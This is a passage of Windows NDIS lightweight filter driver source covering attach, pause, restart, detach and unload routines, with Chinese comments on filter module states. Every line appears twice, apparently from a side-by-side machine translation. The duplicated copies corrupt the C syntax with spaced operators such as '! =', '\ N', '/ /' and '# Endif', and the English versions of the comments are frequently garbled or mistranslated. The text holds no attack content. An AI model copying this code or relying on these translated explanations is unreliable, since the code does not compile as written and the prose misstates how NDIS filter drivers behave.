ASSERT(FilterDriverContext == (NDIS_HANDLE)FilterDriverObject); ASSERT (FilterDriverContext == (NDIS_HANDLE) FilterDriverObject);
if (FilterDriverContext != (NDIS_HANDLE)FilterDriverObject) if (FilterDriverContext! = (NDIS_HANDLE) FilterDriverObject)
{ {
Status = NDIS_STATUS_INVALID_PARAMETER; Status = NDIS_STATUS_INVALID_PARAMETER;
break; break;
} }
if ((AttachParameters->MiniportMediaType != NdisMedium802_3) if ((AttachParameters-> MiniportMediaType! = NdisMedium802_3)
&& (AttachParameters->MiniportMediaType != NdisMediumWan)) && (AttachParameters-> MiniportMediaType! = NdisMediumWan))
{ {
DEBUGP(DL_ERROR, ("MSFilter: Doesn't support media type other than NdisMedium802_3.\n")); DEBUGP (DL_ERROR, ("MSFilter: Doesn't support media type other than NdisMedium802_3. \ N"));
Status = NDIS_STATUS_INVALID_PARAMETER; Status = NDIS_STATUS_INVALID_PARAMETER;
break; break;
} }
Size = sizeof(MS_FILTER) + Size = sizeof (MS_FILTER) +
AttachParameters->FilterModuleGuidName->Length + AttachParameters-> FilterModuleGuidName-> Length +
AttachParameters->BaseMiniportInstanceName->Length + AttachParameters-> BaseMiniportInstanceName-> Length +
AttachParameters->BaseMiniportName->Length; AttachParameters-> BaseMiniportName-> Length;
pFilter = (PMS_FILTER)FILTER_ALLOC_MEM(NdisFilterHandle, Size); pFilter = (PMS_FILTER) FILTER_ALLOC_MEM (NdisFilterHandle, Size);
if (pFilter == NULL) if (pFilter == NULL)
{ {
DEBUGP(DL_WARN, ("MSFilter: Failed to allocate context structure.\n")); DEBUGP (DL_WARN, ("MSFilter: Failed to allocate context structure. \ N"));
Status = NDIS_STATUS_RESOURCES; Status = NDIS_STATUS_RESOURCES;
break; break;
} }
NdisZeroMemory(pFilter, sizeof(MS_FILTER)); NdisZeroMemory (pFilter, sizeof (MS_FILTER));
pFilter->FilterModuleName.Length = pFilter->FilterModuleName.MaximumLength = AttachParameters->FilterModuleGuidName->Length; pFilter-> FilterModuleName.Length = pFilter-> FilterModuleName.MaximumLength = AttachParameters-> FilterModuleGuidName-> Length;
pFilter->FilterModuleName.Buffer = (PWSTR)((PUCHAR)pFilter + sizeof(MS_FILTER)); pFilter-> FilterModuleName.Buffer = (PWSTR) ((PUCHAR) pFilter + sizeof (MS_FILTER));
NdisMoveMemory(pFilter->FilterModuleName.Buffer, NdisMoveMemory (pFilter-> FilterModuleName.Buffer,
AttachParameters->FilterModuleGuidName->Buffer, AttachParameters-> FilterModuleGuidName-> Buffer,
pFilter->FilterModuleName.Length); pFilter-> FilterModuleName.Length);
pFilter->MiniportFriendlyName.Length = pFilter->MiniportFriendlyName.MaximumLength = AttachParameters->BaseMiniportInstanceName->Length; pFilter-> MiniportFriendlyName.Length = pFilter-> MiniportFriendlyName.MaximumLength = AttachParameters-> BaseMiniportInstanceName-> Length;
pFilter->MiniportFriendlyName.Buffer = (PWSTR)((PUCHAR)pFilter->FilterModuleName.Buffer + pFilter->FilterModuleName.Length); pFilter-> MiniportFriendlyName.Buffer = (PWSTR) ((PUCHAR) pFilter-> FilterModuleName.Buffer + pFilter-> FilterModuleName.Length);
NdisMoveMemory(pFilter->MiniportFriendlyName.Buffer, NdisMoveMemory (pFilter-> MiniportFriendlyName.Buffer,
AttachParameters->BaseMiniportInstanceName->Buffer, AttachParameters-> BaseMiniportInstanceName-> Buffer,
pFilter->MiniportFriendlyName.Length); pFilter-> MiniportFriendlyName.Length);
pFilter->MiniportName.Length = pFilter->MiniportName.MaximumLength = AttachParameters->BaseMiniportName->Length; pFilter-> MiniportName.Length = pFilter-> MiniportName.MaximumLength = AttachParameters-> BaseMiniportName-> Length;
pFilter->MiniportName.Buffer = (PWSTR)((PUCHAR)pFilter->MiniportFriendlyName.Buffer + pFilter-> MiniportName.Buffer = (PWSTR) ((PUCHAR) pFilter-> MiniportFriendlyName.Buffer +
pFilter->MiniportFriendlyName.Length); pFilter-> MiniportFriendlyName.Length);
NdisMoveMemory(pFilter->MiniportName.Buffer, NdisMoveMemory (pFilter-> MiniportName.Buffer,
AttachParameters->BaseMiniportName->Buffer, AttachParameters-> BaseMiniportName-> Buffer,
pFilter->MiniportName.Length); pFilter-> MiniportName.Length);
pFilter->MiniportIfIndex = AttachParameters->BaseMiniportIfIndex; pFilter-> MiniportIfIndex = AttachParameters-> BaseMiniportIfIndex;
pFilter->TrackReceives = TRUE; pFilter-> TrackReceives = TRUE;
pFilter->TrackSends = TRUE; pFilter-> TrackSends = TRUE;
pFilter->FilterHandle = NdisFilterHandle; pFilter-> FilterHandle = NdisFilterHandle;
NdisZeroMemory(&FilterAttributes, sizeof(NDIS_FILTER_ATTRIBUTES)); NdisZeroMemory (& FilterAttributes, sizeof (NDIS_FILTER_ATTRIBUTES));
FilterAttributes.Header.Revision = NDIS_FILTER_ATTRIBUTES_REVISION_1; FilterAttributes.Header.Revision = NDIS_FILTER_ATTRIBUTES_REVISION_1;
FilterAttributes.Header.Size = sizeof(NDIS_FILTER_ATTRIBUTES); FilterAttributes.Header.Size = sizeof (NDIS_FILTER_ATTRIBUTES);
FilterAttributes.Header.Type = NDIS_OBJECT_TYPE_FILTER_ATTRIBUTES; FilterAttributes.Header.Type = NDIS_OBJECT_TYPE_FILTER_ATTRIBUTES;
FilterAttributes.Flags = 0; FilterAttributes.Flags = 0;
Status = NdisFSetAttributes(NdisFilterHandle, Status = NdisFSetAttributes (NdisFilterHandle,
pFilter, //pFilter参数的功能是,为过滤模块指定环境上下文 The function of pFilter, / / pFilter parameters specify the environmental context for the filter module
&FilterAttributes); & FilterAttributes);
if (Status != NDIS_STATUS_SUCCESS) if (Status! = NDIS_STATUS_SUCCESS)
{ {
DEBUGP(DL_WARN, ("MSFilter: Failed to set attributes.\n")); DEBUGP (DL_WARN, ("MSFilter: Failed to set attributes. \ N"));
break; break;
} }
pFilter->State = FilterPaused; pFilter-> State = FilterPaused;
FILTER_ACQUIRE_LOCK(&FilterListLock, bFalse); FILTER_ACQUIRE_LOCK (& FilterListLock, bFalse);
InsertHeadList(&FilterModuleList, &pFilter->FilterModuleLink); InsertHeadList (& FilterModuleList, & pFilter-> FilterModuleLink);
FILTER_RELEASE_LOCK(&FilterListLock, bFalse); FILTER_RELEASE_LOCK (& FilterListLock, bFalse);
} }
while (bFalse); while (bFalse);
if (Status != NDIS_STATUS_SUCCESS) if (Status! = NDIS_STATUS_SUCCESS)
{ {
if (pFilter != NULL) if (pFilter! = NULL)
{ {
FILTER_FREE_MEM(pFilter); FILTER_FREE_MEM (pFilter);
} }
} }
DEBUGP(DL_TRACE, ("<===FilterAttach: Status %x\n", Status)); DEBUGP (DL_TRACE, ("<=== FilterAttach: Status% x \ n", Status));
return Status; return Status;
} }
/************************************************************** / ************************************************* *************
FilterPause函数的功能: Function of function FilterPause:
Paused状态:在这种状态下,Filter Driver不能执行接收和发送操作。 Paused state: In this state, Filter Driver can not perform transmit and receive operations.
当FilterDriver执行FilterPause全程时它就进入了Pausing状态。 Pausing state it enters When FilterDriver execute FilterPause full.
Pausing状态:在这种状态下,Filter Driver要为一个Filter Module完成停止发送和接收 The Pausing state: In this state, Filter Driver for a Filter Module stop sending and receiving
处理所需要的所有准备工作。 Handle all the preparatory work needed.
一个在Pausing状态的Filter Driver有如下的约束: A the Pausing state of Filter Driver has the following constraints:
(1)Filter Module不能发起任何新的接收指示,但可以传递下层驱动的接收指示。 (1) Filter Module can not initiate any new receiving instructions, but can pass the the lower driver receives instructions.
(2)如果有Filter Module发起的接收指示还没有完成,那么必须等到它们全部完成。 (2) If there are the Filter Module initiated reception indication is not yet complete, then it must wait until they are completed.有只当 There are only when
FilterReturnNetBufferLists完成所有外部接收指示后,暂停操作才能完成。 FilterReturnNetBufferLists complete all the external receiving instructions, suspend operation to complete.
(3)要返回任何未处理的由下层驱动引发的接收指示给NDIS,只有等到NdisFReturnNetBufferLists返回了所有未处理的接收指示后暂停操作才能完成。 (3) To return any pending from the lower drive triggered by receiving instructions to NDIS, only until the pause operation to complete NdisFReturnNetBufferLists return all outstanding receive instructions.这里也可以排队缓冲这些未完成的接收指示。 Here also can be queued buffer these unfinished reception indication.
(4)立即用NdisFReturnNetBufferLists返回所有下层驱动新传来的接收指示,如果需要可以在返回之前制和排队这些接收指示。 (4) with NdisFReturnNetBufferLists immediately return all lower drive receive from the instructions, if necessary before returning the system and queuing receive instructions.
(5)不能发起任何新的发送请求。 (5) can not initiate any new send request.
(6)如果有Filter Driver引的但NDIS还未完成的发送操作,必须等待它们完成。 (6) Filter Driver cited but the NDIS has not yet completed the send operation must wait for them to complete.
(8)应该在FilterSendNetBufferLists例程中立即调用NdisFSendNetBufferListsComplete返回那些新达到的发送请求。 (8) should be called immediately FilterSendNetBufferLists routine NdisFSendNetBufferListsComplete to return newly achieved sent request.并且为每一个NET_BUFFER_LIST设置NDIS_STATUS_PAUSED返回状态。 And for each NET_BUFFER_LIST set NDIS_STATUS_PAUSED return state.
(8)这时可以使用NdisFIndicateStatus提供状态指示。 (8) At this time you can use NdisFIndicateStatus provides status indication.
(9)可以在FilterStatus中处理状态指示。 (9) can be treated in FilterStatus status indication.
(10)可以在FilterOidRequest里面处理OID请求。 (10) can be treated in FilterOidRequest inside OID request.
(11)可以发起一个OID操作。 (11) can initiate the operation of an OID.
(12)不能释放分配的相关资源,和Filter Module相关的资源最好放在FilterDetach例程里面来释放。 (12) can not release allocated resources, the best resources Filter Module on FilterDetach the routines inside to release.
(13)如果有用于发送和接收的定时器那么要停止它。 (13) If there are for transmitting and receiving the timer to stop it.
当成功停止发送和接收操作后就必须完成暂停操作。 When must complete successfully stopped sending and receiving operations after suspending operations.暂停操作的完成可以是同步的也可以是异步的。 The completion of the pausing operation can be synchronous or asynchronous.
若返回值是NDIS_STATUS_SUCCESS则,是同步。 If return value is NDIS_STATUS_SUCCESS to the synchronization.
若是异步,则返回NDIS_STATUS_PENDING。 If asynchronous, the return NDIS_STATUS_PENDING.那么还必须调用NdisFPauseComplete函数。 You must also call NdisFPauseComplete function.
暂停操作完成了以后,Filter Module进入了Paused状态。 Suspend the operation is complete, Filter Module into the Paused state.这里它有如下的约束: Here it has the following constraints:
(1)不能发起任何接收指示,但可以传递底层驱动发来的接收指示。 (1) can not initiate any receiving instructions, but can be passed to the underlying driver to receive instructions.
(2)需要立即调用NdisFReturnNetBufferLists返回底层驱动的接收指示给NDIS,如果需要可以在返回之前复制和排队这些接收指示。 (2) the need to immediately call NdisFReturnNetBufferLists Back underlying driver receives instructions to NDIS, if necessary before returning replication and queuing receive instructions.
(3)不能引发任何新的发送指示。 (3) can not lead to any new send instructions.
(4)需要立即调用NdisFSendNetBufferListsComplete完成那些在FilterSendNetBufferLists中收到的发送请求,并为每一个NET_BUFFER_LIST设置NDIS_STATUS_PAUSED返回状态。 (4) the need to immediately call NdisFSendNetBufferListsComplete complete those received in FilterSendNetBufferLists, send a request and state for each NET_BUFFER_LIST set NDIS_STATUS_PAUSED return.
(5)这时可以使用NdisFIndicateStatus发起状态指示。 (5) can use NdisFIndicateStatus initiation state instructions.
(6)可以在FilterStatus中进行状态指示处理。 (6) may be in the state in FilterStatus instruction processing.
(8)可以在FilterOidRequest里面处理OID请求。 (8) can FilterOidRequest inside to handle the OID the request.
(8)可以发起一个OID请求。 (8) can be initiated by an OID request.
在Filter Module进行Pausing状态时NDIS不会发起其它PnP操作,比如:附加、分离、重启。 NDIS Filter Module Pausing state will not initiate the other PnP operations, such as: attached, detached, restart.只有当Filter Module进入了Paused状态后NDIS才能对它进行分离和重启操作。 Only when The Filter Module into the Paused state NDIS and it could be separated and restart operations.
***************************************************************/ ************************************************** ************* /
NDIS_STATUS NDIS_STATUS
FilterPause( FilterPause (
IN NDIS_HANDLE FilterModuleContext, IN NDIS_HANDLE FilterModuleContext,
IN PNDIS_FILTER_PAUSE_PARAMETERS PauseParameters IN PNDIS_FILTER_PAUSE_PARAMETERS PauseParameters
) )
{ {
PMS_FILTER pFilter = (PMS_FILTER)(FilterModuleContext); PMS_FILTER pFilter = (PMS_FILTER) (FilterModuleContext);
NDIS_STATUS Status; NDIS_STATUS Status;
BOOLEAN bFalse = FALSE; BOOLEAN bFalse = FALSE;
UNREFERENCED_PARAMETER(PauseParameters); UNREFERENCED_PARAMETER (PauseParameters);
DEBUGP(DL_TRACE, ("===>NDISLWF FilterPause: FilterInstance %p\n", FilterModuleContext)); DEBUGP (DL_TRACE, ("===> NDISLWF FilterPause: FilterInstance% p \ n", FilterModuleContext));
FILTER_ASSERT(pFilter->State == FilterRunning); FILTER_ASSERT (pFilter-> State == FilterRunning);
FILTER_ACQUIRE_LOCK(&pFilter->Lock, bFalse); FILTER_ACQUIRE_LOCK (& pFilter-> Lock, bFalse);
pFilter->State = FilterPausing; pFilter-> State = FilterPausing;
FILTER_RELEASE_LOCK(&pFilter->Lock, bFalse); FILTER_RELEASE_LOCK (& pFilter-> Lock, bFalse);
Status = NDIS_STATUS_SUCCESS; Status = NDIS_STATUS_SUCCESS;
pFilter->State = FilterPaused; pFilter-> State = FilterPaused;
DEBUGP(DL_TRACE, ("<===FilterPause: Status %x\n", Status)); DEBUGP (DL_TRACE, ("<=== FilterPause: Status% x \ n", Status));
return Status; return Status;
} }
/*************************************************************** / ************************************************* **************
FilterRestart函数的功能: Function of function FilterRestart:
在Restarting状态下,一个Filter Driver必须为一个Filter Module完成重启发送和接收数据时 Restarting state, a Filter Driver must complete restart to send and receive data, a Filter Module
所需要的所有准备工作。 Need all the preparation work.
Restart is complete Restart is complete
当Filter Module在Restarting状态下并且完成所有发送和接收所需要的准备工作时,Filter Module就进入了Running状态。 When the the Filter Module Restarting state and complete the preparatory work needed in all send and receive, Filter Module into the Running state.
要启动一个Paused状态的Filter Module,如果有FilterSetModuleOptions就先调用它,接着调用FilterRestart。 Filter Module, you want to start a Paused state if there FilterSetModuleOptions, first calling it then calls FilterRestart.
当Filter Module在Restarting状态下,它可以: When the Filter Module Restarting state, it can:
(1)完成任何正常的发送和接收所需要的准备工作。 (1) completion of any of the normal transmission and reception of the preparatory work needed.
(2)可读写Filter Module的配置参数。 (2) to read and write the Filter Module configuration parameter.
(3)可以接收网络数据指示,拷贝和排队数据稍后只是给上层驱动或者丢弃数据。 (3) can receive network data indicate, copy and queuing data later just to the upper drive or discard data.
(4)不能发起任何新的接收指示。 (4) can not initiate any new receiving instructions.
(5)应该立即调用NdisFSendNetBufferListsComplete例程来拒绝FilterSendNetBufferLists传来的发送的请求。 (5) should be called immediately NdisFSendNetBufferListsComplete routines to reject the request sent FilterSendNetBufferLists coming.应该设置每一个NET_BUFFER_LIST的完成状态为NDIS_STATUS_PAUSED Should set each NET_BUFFER_LIST completion status for NDIS_STATUS_PAUSED it
(6)可以使用NdisFIndicateStatus例程进行状态指示。 (6) can be used to NdisFIndicateStatus routines status indication.
(8)可以控制OID请求操作。 (8) can control OID requested operation.
(8)不能发起任何新的发送请求。 (8) can not initiate any new send request.
(9)应该调用NdisFReturnNetBufferLists返回所有新的接收指示。 (9) should be called NdisFReturnNetBufferLists returns all new receive instructions.如果需要的话可以在接收指示返回之前拷贝它们。 If need be receiving instructions before returning to copy them.
(10)可以制作OID请求发送给下层驱动设置或查询配置信息。 (10) can be produced OID to send the request to the lower driver set or query configuration information.
(11)可以在FilterStatus中控制状态指示。 (11) can be controlled in FilterStatus status indication.
(12)返回时指示 NDIS_STATUS_SUCCESS 或失败状态,如果不Filter Module不能启动返回了失败,而它又是一个Mandatory的Filter Driver 那个 NDIS将会结束这个驱动栈 (12) return to indicate NDIS_STATUS_SUCCESS or failure status, if not Filter Module can not start to return failed, and it is also a Mandatory Filter Driver NDIS will be the end of the driver stack
在一个Filter Driver完成对发送和接收的重启后必须指示完成这个重启操作。 Must be instructed to complete the restart operation after the restart to send and receive in a Filter Driver.
Filter Driver的重启操作的完成可以是同步也可以是异步的,同步时返回 NDIS_STATUS_SUCCESS 异步时返回NDIS_STATUS_PENDING。 The Filter Driver reboot the completion of the operation can be synchronized can also asynchronous synchronization return NDIS_STATUS_SUCCESS asynchronous return NDIS_STATUS_PENDING.如果返回的是 NDIS_STATUS_PENDING 就必须调用NdisFRestartComplete 例程在重启操作完成后。 If the return is NDIS_STATUS_PENDING must call the the NdisFRestartComplete routines in the restart operation.
在这种情况下,驱动需要传递给NdisFRestartComplete 一个固定状态(标识重启结果的成功或失败状态)。 In this case, the driving need to pass NdisFRestartComplete the fixed state (success or failure status) identifies the restart results.
重启操作完成Filter Module就进入了 Running状态,恢得一切正常的发送和接收外理。 Restart operation is complete Filter Module into the Running state, the recovery was all normal send and receive outside the grounds.
在Filter Driver的FilterRestart例程执行的时候NDIS不会发起任即插即用操作,如附加,分离,暂停请求等等。 NDIS will not initiate any plug-and-play operation when performed in the Filter Driver FilterRestart routines, such as additional separation suspend request. Ndis可以在Filter Module进入Running状态后发起一个暂停请求。 Ndis Filter Module into the Running state to initiate a suspend request.
***************************************************************/ ************************************************** ************* /
NDIS_STATUS NDIS_STATUS
FilterRestart( FilterRestart (
IN NDIS_HANDLE FilterModuleContext, IN NDIS_HANDLE FilterModuleContext,
IN PNDIS_FILTER_RESTART_PARAMETERS RestartParameters IN PNDIS_FILTER_RESTART_PARAMETERS RestartParameters
) )
{ {
NDIS_STATUS Status; NDIS_STATUS Status;
PMS_FILTER pFilter = (PMS_FILTER)FilterModuleContext; // BUGBUG, the cast may be wrong PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext; / / BUGBUG, the cast may be wrong
NDIS_HANDLE ConfigurationHandle = NULL; NDIS_HANDLE ConfigurationHandle = NULL;
PNDIS_RESTART_GENERAL_ATTRIBUTES NdisGeneralAttributes; PNDIS_RESTART_GENERAL_ATTRIBUTES NdisGeneralAttributes;
PNDIS_RESTART_ATTRIBUTES NdisRestartAttributes; PNDIS_RESTART_ATTRIBUTES NdisRestartAttributes;
NDIS_CONFIGURATION_OBJECT ConfigObject; NDIS_CONFIGURATION_OBJECT ConfigObject;
DEBUGP(DL_TRACE, ("===>FilterRestart: FilterModuleContext %p\n", FilterModuleContext)); DEBUGP (DL_TRACE, ("===> FilterRestart: FilterModuleContext% p \ n", FilterModuleContext));
FILTER_ASSERT(pFilter->State == FilterPaused); FILTER_ASSERT (pFilter-> State == FilterPaused);
ConfigObject.Header.Type = NDIS_OBJECT_TYPE_CONFIGURATION_OBJECT; ConfigObject.Header.Type = NDIS_OBJECT_TYPE_CONFIGURATION_OBJECT;
ConfigObject.Header.Revision = NDIS_CONFIGURATION_OBJECT_REVISION_1; ConfigObject.Header.Revision = NDIS_CONFIGURATION_OBJECT_REVISION_1;
ConfigObject.Header.Size = sizeof(NDIS_CONFIGURATION_OBJECT); ConfigObject.Header.Size = sizeof (NDIS_CONFIGURATION_OBJECT);
ConfigObject.NdisHandle = FilterDriverHandle; ConfigObject.NdisHandle = FilterDriverHandle;
ConfigObject.Flags = 0; ConfigObject.Flags = 0;
Status = NdisOpenConfigurationEx(&ConfigObject, &ConfigurationHandle); Status = NdisOpenConfigurationEx (& ConfigObject, & ConfigurationHandle);
if (Status != NDIS_STATUS_SUCCESS) if (Status! = NDIS_STATUS_SUCCESS)
{ {
#if 0 # If 0
// / /
// The code is here just to demonstrate how to call NDIS to write an eventlog. If drivers need to write / / The code is here just to demonstrate how to call NDIS to write an eventlog. If drivers need to write
// an event log. / / An event log.
// / /
PWCHAR ErrorString = L"Ndislwf"; PWCHAR ErrorString = L "Ndislwf";
DEBUGP(DL_WARN, ("FilterRestart: Cannot open configuration.\n")); DEBUGP (DL_WARN, ("FilterRestart: Cannot open configuration. \ N"));
NdisWriteEventLogEntry(FilterDriverObject, NdisWriteEventLogEntry (FilterDriverObject,
EVENT_NDIS_DRIVER_FAILURE, EVENT_NDIS_DRIVER_FAILURE,
0, 0,
1, 1,
&ErrorString, & ErrorString,
sizeof(Status), sizeof (Status),
&Status); & Status);
#endif # Endif
} }
if (Status == NDIS_STATUS_SUCCESS) if (Status == NDIS_STATUS_SUCCESS)
{ {
NdisCloseConfiguration(ConfigurationHandle); NdisCloseConfiguration (ConfigurationHandle);
} }
NdisRestartAttributes = RestartParameters->RestartAttributes; NdisRestartAttributes = RestartParameters-> RestartAttributes;
if (NdisRestartAttributes != NULL) if (NdisRestartAttributes! = NULL)
{ {
PNDIS_RESTART_ATTRIBUTES NextAttributes; PNDIS_RESTART_ATTRIBUTES NextAttributes;
ASSERT(NdisRestartAttributes->Oid == OID_GEN_MINIPORT_RESTART_ATTRIBUTES); ASSERT (NdisRestartAttributes-> Oid == OID_GEN_MINIPORT_RESTART_ATTRIBUTES);
NdisGeneralAttributes = (PNDIS_RESTART_GENERAL_ATTRIBUTES)NdisRestartAttributes->Data; NdisGeneralAttributes = (PNDIS_RESTART_GENERAL_ATTRIBUTES) NdisRestartAttributes-> Data;
NdisGeneralAttributes->LookaheadSize = 128; NdisGeneralAttributes-> LookaheadSize = 128;
NextAttributes = NdisRestartAttributes->Next; NextAttributes = NdisRestartAttributes-> Next;
while (NextAttributes != NULL) while (NextAttributes! = NULL)
{ {
NextAttributes = NextAttributes->Next; NextAttributes = NextAttributes-> Next;
} }
} }
pFilter->State = FilterRunning; pFilter-> State = FilterRunning;
Status = NDIS_STATUS_SUCCESS; Status = NDIS_STATUS_SUCCESS;
if (Status != NDIS_STATUS_SUCCESS) if (Status! = NDIS_STATUS_SUCCESS)
{ {
pFilter->State = FilterPaused; pFilter-> State = FilterPaused;
} }
DEBUGP(DL_TRACE, ("<===FilterRestart: FilterModuleContext %p, Status %x\n", FilterModuleContext, Status)); DEBUGP (DL_TRACE, ("<=== FilterRestart: FilterModuleContext% p, Status% x \ n", FilterModuleContext, Status));
return Status; return Status;
} }
/************************************************************** / ************************************************* *************
FilterDetach函数的功能: Function of function FilterDetach:
Detach状态:当Filter Driver从一个驱动栈上分离一个Filter Module时,将发生该事件。 Detach state: When separating a Filter Module Filter Driver from a driver on the stack, the event will take place.
在驱动栈上分离一个过滤模块时,NDIS会暂停这个驱动栈。 Separation of a filter module in the driver stack, NDIS will suspend the driver stack.这意味着NDIS已经使过滤模块进入 This means NDIS filter module into
了Parse状态。 The Parse state.即FilterPause函数先被调用了。 That FilterPause functions be called first.
在这个例程中释放和这个过滤模块相关的环境上下文和其它资源。 In this routine to release the associated environmental context and the filtering module and other resources.这个过程不能失败。 This process can not fail.
当FilterDetach函数返回以后,NDIS会重新启动被暂停的驱动栈。 After when FilterDetach function returns, NDIS will restart the is suspended driver stack.
参数说明: Parameter Description:
FilterDriverContext 它由NdisFRegisterFilterDriver的FilterDriverContext来指定。 By NdisFRegisterFilterDriver the FilterDriverContext FilterDriverContext it to be specified.
************************************************************/ ************************************************** ********** /
VOID VOID
FilterDetach( FilterDetach (
IN NDIS_HANDLE FilterModuleContext IN NDIS_HANDLE FilterModuleContext
) )
{ {
PMS_FILTER pFilter = (PMS_FILTER)FilterModuleContext; PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
BOOLEAN bFalse = FALSE; BOOLEAN bFalse = FALSE;
DEBUGP(DL_TRACE, ("===>FilterDetach: FilterInstance %p\n", FilterModuleContext)); DEBUGP (DL_TRACE, ("===> FilterDetach: FilterInstance% p \ n", FilterModuleContext));
FILTER_ASSERT(pFilter->State == FilterPaused); FILTER_ASSERT (pFilter-> State == FilterPaused);
if (pFilter->FilterName.Buffer != NULL) if (pFilter-> FilterName.Buffer! = NULL)
{ {
FILTER_FREE_MEM(pFilter->FilterName.Buffer); FILTER_FREE_MEM (pFilter-> FilterName.Buffer);
} }
FILTER_ACQUIRE_LOCK(&FilterListLock, bFalse); FILTER_ACQUIRE_LOCK (& FilterListLock, bFalse);
RemoveEntryList(&pFilter->FilterModuleLink); RemoveEntryList (& pFilter-> FilterModuleLink);
FILTER_RELEASE_LOCK(&FilterListLock, bFalse); FILTER_RELEASE_LOCK (& FilterListLock, bFalse);
FILTER_FREE_MEM(pFilter); FILTER_FREE_MEM (pFilter);
DEBUGP(DL_TRACE, ("<===FilterDetach Successfully\n")); DEBUGP (DL_TRACE, ("<=== FilterDetach Successfully \ n"));
return; return;
} }
/************************************************************** / ************************************************* *************
系统只会在调用FilterDetach()分离了所有和本Filter Driver相关的Filter Module以后,才会调用FilterUnload例程。 The system only after the separation of the Filter Driver Filter Module FilterDetach () is called, will call FilterUnload routine.
****************************************************************/ ************************************************** ************** /
VOID VOID
FilterUnload( FilterUnload (
IN PDRIVER_OBJECT DriverObject IN PDRIVER_OBJECT DriverObject
) )
{ {
#if DBG # If DBG
BOOLEAN bFalse = FALSE; BOOLEAN bFalse = FALSE;
#endif # Endif
UNREFERENCED_PARAMETER(DriverObject); UNREFERENCED_PARAMETER (DriverObject);
DEBUGP(DL_TRACE, ("===>FilterUnload\n")); DEBUGP (DL_TRACE, ("===> FilterUnload \ n"));
FilterDeregisterDevice(); FilterDeregisterDevice ();
NdisFDeregisterFilterDriver(FilterDriverHandle); NdisFDeregisterFilterDriver (FilterDriverHandle);
#if DBG # If DBG
FILTER_ACQUIRE_LOCK(&FilterListLock, bFalse); FILTER_ACQUIRE_LOCK (& FilterListLock, bFalse);
ASSERT(IsListEmpty(&FilterModuleList)); ASSERT (IsListEmpty (& FilterModuleList));
FILTER_RELEASE_LOCK(&FilterListLock, bFalse); FILTER_RELEASE_LOCK (& FilterListLock, bFalse);
#endif # Endif
FILTER_FREE_LOCK(&FilterListLock); FILTER_FREE_LOCK (& FilterListLock);
DEBUGP(DL_TRACE, ("<===FilterUnload\n")); DEBUGP (DL_TRACE, ("<=== FilterUnload \ n"));
return; return;
} }
/*************************************************************** / ************************************************* **************
FilterOidRequest函数的功能: Function of function FilterOidRequest:
Filter Module可以在Runnig状态、Restarting状态、Paused状态和Pauseing状态进行OID的控制和处理。 Filter Module can the the Runnig status, Restarting state, Paused state and Pauseing state control and treatment of the OID.
Filter Driver可以处理上层驱动引发的OID请求,NDIS调用Filter Driver的FilterOidRequest例程来处理OID请求,Filter Driver需要调用NdisFOidRequest例程来转发请求给下层驱动。 Filter Driver can handle the upper drive OID requests triggered, NDIS calls the Filter Driver FilterOidRequest routines to handle the OID request, Filter Driver needs call NdisFOidRequest routine to forward the request to the lower driver.
Filter Driver可以从FilterOidRequest同步和异步完成一个OID请求,分别返回NDIS_STATS_SUCCESS和NDIS_STATUS_PENDING即可。 The Filter Driver From FilterOidRequest synchronous and asynchronous complete an OID request, respectively to return NDIS_STATS_SUCCESS NDIS_STATUS_PENDING can. FilterOidRequest可以用同步的直接完成一个OID请求并返回一个错误状态。 FilterOidRequest can sync directly to complete an OID request and returns an error status.
如果FilterOidRequest返回NDIS_STATUS_PENDING,就必须在OID请求完成后调用 If FilterOidRequest return NDIS_STATUS_PENDING, it must call the OID request complete
NdisFOidRequestComplete来通知上层驱动求请求完成。 NdisFOidRequestComplete to notify the upper drive demand request is complete.在这种情况下,请求的结果通过 In this case, the result of the request by
NdisFOidRequestComplete的OidRequest参数返回给上层驱动,并通过Status参数返回请求完成的最终状态。 The the OidRequest parameters of NdisFOidRequestComplete return to the upper-driven, and Status parameter returns the final status of the request is complete.
如果FilterOidRequest返回NDIS_STATUS_SUCCESS,通过FilterOidRequest的OidRequest参数返回一个查询结果到上层。 If FilterOidRequest return NDIS_STATUS_SUCCESS, return to the results of a query to the upper through FilterOidRequest OidRequest parameters.这时不调用 NdisFOidRequestComplete例程。 This time not call NdisFOidRequestComplete routine.
要转发OID请求到下层驱动,Filter Driver必须调用NdisFOidRequest。 The forwarding OID request to the lower driver, Filter Driver must call NdisFOidRequest.如果一个OID请求不能被转发到下层驱动应该当立即返回。 If an OID request can not be forwarded to the next lower driver should when to return immediately.要完成一个请求且不转发可以直接返回NDIS_STATUS_SUCCESS或其它错误状态或返回 NDIS_STATUS_PENDING 后调用NdisFOidRequestComplete。 To complete a request not forwarded the direct return NDIS_STATUS_SUCCESS or other error status or return call NdisFOidRequestComplete after NDIS_STATUS_PENDING.
如果NdisFOidRequest返回NDIS_STATUS_PENDING,NDIS在OID请求完成后调用FilterOidRequestComplete来通知求请求完成在这种情况下,请求的结果通过NdisFOidRequestComplete的OidRequest参数返回给上层驱动,并通过 Status 参数返回请求完成的最终状态。 If NdisFOidRequest return NDIS_STATUS_PENDING, NDIS OID request complete notice seeking requests completed in this case, the result of the request through NdisFOidRequestComplete the OidRequest parameters returned to the upper drive to call FilterOidRequestComplete to, and through the Status parameter to return the request to complete the final state.
如果 NdisFOidRequest返回NDIS_STATUS_SUCCESS,通过NdisFOidRequest的OidRequest参数返回一个查询结果到上层。 If NdisFOidRequest return NDIS_STATUS_SUCCESS, return a query result to the upper through NdisFOidRequest OidRequest parameters.这时不调用FilterOidRequestComplete例程。 This time not call FilterOidRequestComplete routine.
一个Filter Driver可以调用NdisFOidRequest引发OID请求在Restarting、Running、Pausing和Paused 状态。 A Filter Driver can call NdisFOidRequest the the triggered OID requests in Restarting, Running, Pausing and Paused state.
注意:Filter Driver必须跟踪这个请求确保不在FilterOidRequestComplete中调用NdisFOidRequestComplete(因为请求是自己引发的不能传到上层)。 Note: Filter Driver must track the request ensure the is not FilterOidRequestComplete call NdisFOidRequestComplete (because the request is not spread to the upper induced).
****************************************************************/ ************************************************** ************** /
NDIS_STATUS NDIS_STATUS
FilterOidRequest(IN NDIS_HANDLE FilterModuleContext,IN PNDIS_OID_REQUEST Request) FilterOidRequest (IN NDIS_HANDLE FilterModuleContext, IN PNDIS_OID_REQUEST Request)
{ {
PMS_FILTER pFilter = (PMS_FILTER)FilterModuleContext; PMS_FILTER pFilter = (PMS_FILTER) FilterModuleContext;
NDIS_STATUS Status; NDIS_STATUS Status;
